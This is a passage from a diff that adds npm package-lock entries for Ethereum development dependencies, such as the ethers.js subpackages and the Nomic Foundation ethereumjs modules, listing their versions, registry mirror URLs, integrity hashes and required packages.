"sha512-351ktp42TiRcYB3H1OP8yajPeAQstMW/yCFokj/AthP9bLHzQFPlOrxOcwYEDkUAICmOHljvN4K39OMTMUa9RA==", + "dev": true, + "requires": { + "@ethersproject/address": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/hash": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "@ethersproject/abstract-provider": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/abstract-provider/-/abstract-provider-5.7.0.tgz", + "integrity": "sha512-R41c9UkchKCpAqStMYUpdunjo3pkEvZC3FAwZn5S5MGbXoMQOHIdHItezTETxAO5bevtMApSyEhn9+CHcDsWBw==", + "dev": true, + "requires": { + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/networks": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "@ethersproject/web": "^5.7.0" + } + }, + "@ethersproject/abstract-signer": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/abstract-signer/-/abstract-signer-5.7.0.tgz", + "integrity": "sha512-a16V8bq1/Cz+TGCkE2OPMTOUDLS3grCpdjoJCYNnVBbdYEMSgKrU0+B90s8b6H+ByYTBZN7a3g76jdIJi7UfKQ==", + "dev": true, + "requires": { + "@ethersproject/abstract-provider": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0" + } + }, + "@ethersproject/address": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/address/-/address-5.7.0.tgz", + "integrity": "sha512-9wYhYt7aghVGo758POM5nqcOMaE168Q6aRLJZwUmiqSrAungkG74gSSeKEIR7ukixesdRZGPgVqme6vmxs1fkA==", + "dev": true, + "requires": { + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/rlp": "^5.7.0" + } + }, + "@ethersproject/base64": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/base64/-/base64-5.7.0.tgz", + "integrity": "sha512-Dr8tcHt2mEbsZr/mwTPIQAf3Ai0Bks/7gTw9dSqk1mQvhW3XvRlmDJr/4n+wg1JmCl16NZue17CDh8xb/vZ0sQ==", + "dev": true, + "requires": { + "@ethersproject/bytes": "^5.7.0" + } + }, + "@ethersproject/basex": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/basex/-/basex-5.7.0.tgz", + "integrity": "sha512-ywlh43GwZLv2Voc2gQVTKBoVQ1mti3d8HK5aMxsfu/nRDnMmNqaSJ3r3n85HBByT8OpoY96SXM1FogC533T4zw==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/properties": "^5.7.0" + } + }, + "@ethersproject/bignumber": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/bignumber/-/bignumber-5.7.0.tgz", + "integrity": "sha512-n1CAdIHRWjSucQO3MC1zPSVgV/6dy/fjL9pMrPP9peL+QxEg9wOsVqwD4+818B6LUEtaXzVHQiuivzRoxPxUGw==", + "dev": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "bn.js": "^5.2.1" + } + }, + "@ethersproject/bytes": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/bytes/-/bytes-5.7.0.tgz", + "integrity": "sha512-nsbxwgFXWh9NyYWo+U8atvmMsSdKJprTcICAkvbBffT75qDocbuggBU0SJiVK2MuTrp0q+xvLkTnGMPK1+uA9A==", + "dev": true, + "requires": { + "@ethersproject/logger": "^5.7.0" + } + }, + "@ethersproject/constants": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/constants/-/constants-5.7.0.tgz", + "integrity": "sha512-DHI+y5dBNvkpYUMiRQyxRBYBefZkJfo70VUkUAsRjcPs47muV9evftfZ0PJVCXYbAiCgght0DtcF9srFQmIgWA==", + "dev": true, + "requires": { + "@ethersproject/bignumber": "^5.7.0" + } + }, + "@ethersproject/contracts": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/contracts/-/contracts-5.7.0.tgz", + "integrity": "sha512-5GJbzEU3X+d33CdfPhcyS+z8MzsTrBGk/sc+G+59+tPa9yFkl6HQ9D6L0QMgNTA9q8dT0XKxxkyp883XsQvbbg==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abi": "^5.7.0", + "@ethersproject/abstract-provider": "^5.7.0", + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/transactions": "^5.7.0" + } + }, + "@ethersproject/hash": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/hash/-/hash-5.7.0.tgz", + "integrity": "sha512-qX5WrQfnah1EFnO5zJv1v46a8HW0+E5xuBBDTwMFZLuVTx0tbU2kkx15NqdjxecrLGatQN9FGQKpb1FKdHCt+g==", + "dev": true, + "requires": { + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/base64": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "@ethersproject/hdnode": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/hdnode/-/hdnode-5.7.0.tgz", + "integrity": "sha512-OmyYo9EENBPPf4ERhR7oj6uAtUAhYGqOnIS+jE5pTXvdKBS99ikzq1E7Iv0ZQZ5V36Lqx1qZLeak0Ra16qpeOg==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/basex": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/pbkdf2": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/sha2": "^5.7.0", + "@ethersproject/signing-key": "^5.7.0", + "@ethersproject/strings": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "@ethersproject/wordlists": "^5.7.0" + } + }, + "@ethersproject/json-wallets": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/json-wallets/-/json-wallets-5.7.0.tgz", + "integrity": "sha512-8oee5Xgu6+RKgJTkvEMl2wDgSPSAQ9MB/3JYjFV9jlKvcYHUXZC+cQp0njgmxdHkYWn8s6/IqIZYm0YWCjO/0g==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/hdnode": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/pbkdf2": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/random": "^5.7.0", + "@ethersproject/strings": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "aes-js": "3.0.0", + "scrypt-js": "3.0.1" + } + }, + "@ethersproject/keccak256": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/keccak256/-/keccak256-5.7.0.tgz", + "integrity": "sha512-2UcPboeL/iW+pSg6vZ6ydF8tCnv3Iu/8tUmLLzWWGzxWKFFqOBQFLo6uLUv6BDrLgCDfN28RJ/wtByx+jZ4KBg==", + "dev": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "js-sha3": "0.8.0" + } + }, + "@ethersproject/logger": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/logger/-/logger-5.7.0.tgz", + "integrity": "sha512-0odtFdXu/XHtjQXJYA3u9G0G8btm0ND5Cu8M7i5vhEcE8/HmF4Lbdqanwyv4uQTr2tx6b7fQRmgLrsnpQlmnig==", + "dev": true + }, + "@ethersproject/networks": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/@ethersproject/networks/-/networks-5.7.1.tgz", + "integrity": "sha512-n/MufjFYv3yFcUyfhnXotyDlNdFb7onmkSy8aQERi2PjNcnWQ66xXxa3XlS8nCcA8aJKJjIIMNJTC7tu80GwpQ==", + "dev": true, + "requires": { + "@ethersproject/logger": "^5.7.0" + } + }, + "@ethersproject/pbkdf2": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/pbkdf2/-/pbkdf2-5.7.0.tgz", + "integrity": "sha512-oR/dBRZR6GTyaofd86DehG72hY6NpAjhabkhxgr3X2FpJtJuodEl2auADWBZfhDHgVCbu3/H/Ocq2uC6dpNjjw==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/sha2": "^5.7.0" + } + }, + "@ethersproject/properties": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/properties/-/properties-5.7.0.tgz", + "integrity": "sha512-J87jy8suntrAkIZtecpxEPxY//szqr1mlBaYlQ0r4RCaiD2hjheqF9s1LVE8vVuJCXisjIP+JgtK/Do54ej4Sw==", + "dev": true, + "requires": { + "@ethersproject/logger": "^5.7.0" + } + }, + "@ethersproject/providers": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/@ethersproject/providers/-/providers-5.7.1.tgz", + "integrity": "sha512-vZveG/DLyo+wk4Ga1yx6jSEHrLPgmTt+dFv0dv8URpVCRf0jVhalps1jq/emN/oXnMRsC7cQgAF32DcXLL7BPQ==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abstract-provider": "^5.7.0", + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/base64": "^5.7.0", + "@ethersproject/basex": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/hash": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/networks": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/random": "^5.7.0", + "@ethersproject/rlp": "^5.7.0", + "@ethersproject/sha2": "^5.7.0", + "@ethersproject/strings": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "@ethersproject/web": "^5.7.0", + "bech32": "1.1.4", + "ws": "7.4.6" + }, + "dependencies": { + "ws": { + "version": "7.4.6", + "resolved": "https://registry.npmmirror.com/ws/-/ws-7.4.6.tgz", + "integrity": "sha512-YmhHDO4MzaDLB+M9ym/mDA5z0naX8j7SIlT8f8z+I0VtzsRbekxEutHSme7NPS2qE8StCYQNUnfWdXta/Yu85A==", + "dev": true, + "peer": true, + "requires": {} + } + } + }, + "@ethersproject/random": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/random/-/random-5.7.0.tgz", + "integrity": "sha512-19WjScqRA8IIeWclFme75VMXSBvi4e6InrUNuaR4s5pTF2qNhcGdCUwdxUVGtDDqC00sDLCO93jPQoDUH4HVmQ==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0" + } + }, + "@ethersproject/rlp": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/rlp/-/rlp-5.7.0.tgz", + "integrity": "sha512-rBxzX2vK8mVF7b0Tol44t5Tb8gomOHkj5guL+HhzQ1yBh/ydjGnpw6at+X6Iw0Kp3OzzzkcKp8N9r0W4kYSs9w==", + "dev": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0" + } + }, + "@ethersproject/sha2": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/sha2/-/sha2-5.7.0.tgz", + "integrity": "sha512-gKlH42riwb3KYp0reLsFTokByAKoJdgFCwI+CCiX/k+Jm2mbNs6oOaCjYQSlI1+XBVejwH2KrmCbMAT/GnRDQw==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "hash.js": "1.1.7" + } + }, + "@ethersproject/signing-key": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/signing-key/-/signing-key-5.7.0.tgz", + "integrity": "sha512-MZdy2nL3wO0u7gkB4nA/pEf8lu1TlFswPNmy8AiYkfKTdO6eXBJyUdmHO/ehm/htHw9K/qF8ujnTyUAD+Ry54Q==", + "dev": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "bn.js": "^5.2.1", + "elliptic": "6.5.4", + "hash.js": "1.1.7" + } + }, + "@ethersproject/solidity": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/solidity/-/solidity-5.7.0.tgz", + "integrity": "sha512-HmabMd2Dt/raavyaGukF4XxizWKhKQ24DoLtdNbBmNKUOPqwjsKQSdV9GQtj9CBEea9DlzETlVER1gYeXXBGaA==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/sha2": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "@ethersproject/strings": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/strings/-/strings-5.7.0.tgz", + "integrity": "sha512-/9nu+lj0YswRNSH0NXYqrh8775XNyEdUQAuf3f+SmOrnVewcJ5SBNAjF7lpgehKi4abvNNXyf+HX86czCdJ8Mg==", + "dev": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/logger": "^5.7.0" + } + }, + "@ethersproject/transactions": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/transactions/-/transactions-5.7.0.tgz", + "integrity": "sha512-kmcNicCp1lp8qanMTC3RIikGgoJ80ztTyvtsFvCYpSCfkjhD0jZ2LOrnbcuxuToLIUYYf+4XwD1rP+B/erDIhQ==", + "dev": true, + "requires": { + "@ethersproject/address": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/rlp": "^5.7.0", + "@ethersproject/signing-key": "^5.7.0" + } + }, + "@ethersproject/units": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/units/-/units-5.7.0.tgz", + "integrity": "sha512-pD3xLMy3SJu9kG5xDGI7+xhTEmGXlEqXU4OfNapmfnxLVY4EMSSRp7j1k7eezutBPH7RBN/7QPnwR7hzNlEFeg==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/logger": "^5.7.0" + } + }, + "@ethersproject/wallet": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/wallet/-/wallet-5.7.0.tgz", + "integrity": "sha512-MhmXlJXEJFBFVKrDLB4ZdDzxcBxQ3rLyCkhNqVu3CDYvR97E+8r01UgrI+TI99Le+aYm/in/0vp86guJuM7FCA==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abstract-provider": "^5.7.0", + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/hash": "^5.7.0", + "@ethersproject/hdnode": "^5.7.0", + "@ethersproject/json-wallets": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/random": "^5.7.0", + "@ethersproject/signing-key": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "@ethersproject/wordlists": "^5.7.0" + } + }, + "@ethersproject/web": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/@ethersproject/web/-/web-5.7.1.tgz", + "integrity": "sha512-Gueu8lSvyjBWL4cYsWsjh6MtMwM0+H4HvqFPZfB6dV8ctbP9zFAO73VG1cMWae0FLPCtz0peKPpZY8/ugJJX2w==", + "dev": true, + "requires": { + "@ethersproject/base64": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "@ethersproject/wordlists": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/wordlists/-/wordlists-5.7.0.tgz", + "integrity": "sha512-S2TFNJNfHWVHNE6cNDjbVlZ6MgE17MIxMbMg2zv3wn+3XSJGosL1m9ZVv3GXCf/2ymSsQ+hRI5IzoMJTG6aoVA==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/hash": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "dev": true, + "peer": true + }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==", + "dev": true, + "peer": true + }, + "@jridgewell/trace-mapping": { + "version": "0.3.9", + "resolved": "https://registry.npmmirror.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", + "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", + "dev": true, + "peer": true, + "requires": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "@metamask/eth-sig-util": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/@metamask/eth-sig-util/-/eth-sig-util-4.0.1.tgz", + "integrity": "sha512-tghyZKLHZjcdlDqCA3gNZmLeR0XvOE9U1qoQO9ohyAZT6Pya+H9vkBPcsyXytmYLNgVoin7CKCmweo/R43V+tQ==", + "dev": true, + "requires": { + "ethereumjs-abi": "^0.6.8", + "ethereumjs-util": "^6.2.1", + "ethjs-util": "^0.1.6", + "tweetnacl": "^1.0.3", + "tweetnacl-util": "^0.15.1" + } + }, + "@noble/hashes": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/@noble/hashes/-/hashes-1.1.2.tgz", + "integrity": "sha512-KYRCASVTv6aeUi1tsF8/vpyR7zpfs3FUzy2Jqm+MU+LmUKhQ0y2FpfwqkCcxSg2ua4GALJd8k2R76WxwZGbQpA==", + "dev": true + }, + "@noble/secp256k1": { + "version": "1.6.3", + "resolved": "https://registry.npmmirror.com/@noble/secp256k1/-/secp256k1-1.6.3.tgz", + "integrity": "sha512-T04e4iTurVy7I8Sw4+c5OSN9/RkPlo1uKxAomtxQNLq8j1uPAqnsqG1bqvY3Jv7c13gyr6dui0zmh/I3+f/JaQ==", + "dev": true + }, + "@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "peer": true, + "requires": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + } + }, + "@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "peer": true + }, + "@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "peer": true, + "requires": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + } + }, + "@nomicfoundation/ethereumjs-block": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-block/-/ethereumjs-block-4.0.0.tgz", + "integrity": "sha512-bk8uP8VuexLgyIZAHExH1QEovqx0Lzhc9Ntm63nCRKLHXIZkobaFaeCVwTESV7YkPKUk7NiK11s8ryed4CS9yA==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-tx": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "ethereum-cryptography": "0.1.3" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "@nomicfoundation/ethereumjs-blockchain": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-blockchain/-/ethereumjs-blockchain-6.0.0.tgz", + "integrity": "sha512-pLFEoea6MWd81QQYSReLlLfH7N9v7lH66JC/NMPN848ySPPQA5renWnE7wPByfQFzNrPBuDDRFFULMDmj1C0xw==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-block": "^4.0.0", + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-ethash": "^2.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "abstract-level": "^1.0.3", + "debug": "^4.3.3", + "ethereum-cryptography": "0.1.3", + "level": "^8.0.0", + "lru-cache": "^5.1.1", + "memory-level": "^1.0.0" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "@nomicfoundation/ethereumjs-common": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-common/-/ethereumjs-common-3.0.0.tgz", + "integrity": "sha512-WS7qSshQfxoZOpHG/XqlHEGRG1zmyjYrvmATvc4c62+gZXgre1ymYP8ZNgx/3FyZY0TWe9OjFlKOfLqmgOeYwA==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "crc-32": "^1.2.0" + } + }, + "@nomicfoundation/ethereumjs-ethash": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-ethash/-/ethereumjs-ethash-2.0.0.tgz", + "integrity": "sha512-WpDvnRncfDUuXdsAXlI4lXbqUDOA+adYRQaEezIkxqDkc+LDyYDbd/xairmY98GnQzo1zIqsIL6GB5MoMSJDew==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-block": "^4.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "abstract-level": "^1.0.3", + "bigint-crypto-utils": "^3.0.23", + "ethereum-cryptography": "0.1.3" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "@nomicfoundation/ethereumjs-evm": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-evm/-/ethereumjs-evm-1.0.0.tgz", + "integrity": "sha512-hVS6qRo3V1PLKCO210UfcEQHvlG7GqR8iFzp0yyjTg2TmJQizcChKgWo8KFsdMw6AyoLgLhHGHw4HdlP8a4i+Q==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "@types/async-eventemitter": "^0.2.1", + "async-eventemitter": "^0.2.4", + "debug": "^4.3.3", + "ethereum-cryptography": "0.1.3", + "mcl-wasm": "^0.7.1", + "rustbn.js": "~0.2.0" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "@nomicfoundation/ethereumjs-rlp": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-rlp/-/ethereumjs-rlp-4.0.0.tgz", + "integrity": "sha512-GaSOGk5QbUk4eBP5qFbpXoZoZUj/NrW7MRa0tKY4Ew4c2HAS0GXArEMAamtFrkazp0BO4K5p2ZCG3b2FmbShmw==", + "dev": true + }, + "@nomicfoundation/ethereumjs-statemanager": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-statemanager/-/ethereumjs-statemanager-1.0.0.tgz", + "integrity": "sha512-jCtqFjcd2QejtuAMjQzbil/4NHf5aAWxUc+CvS0JclQpl+7M0bxMofR2AJdtz+P3u0ke2euhYREDiE7iSO31vQ==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-rlp": 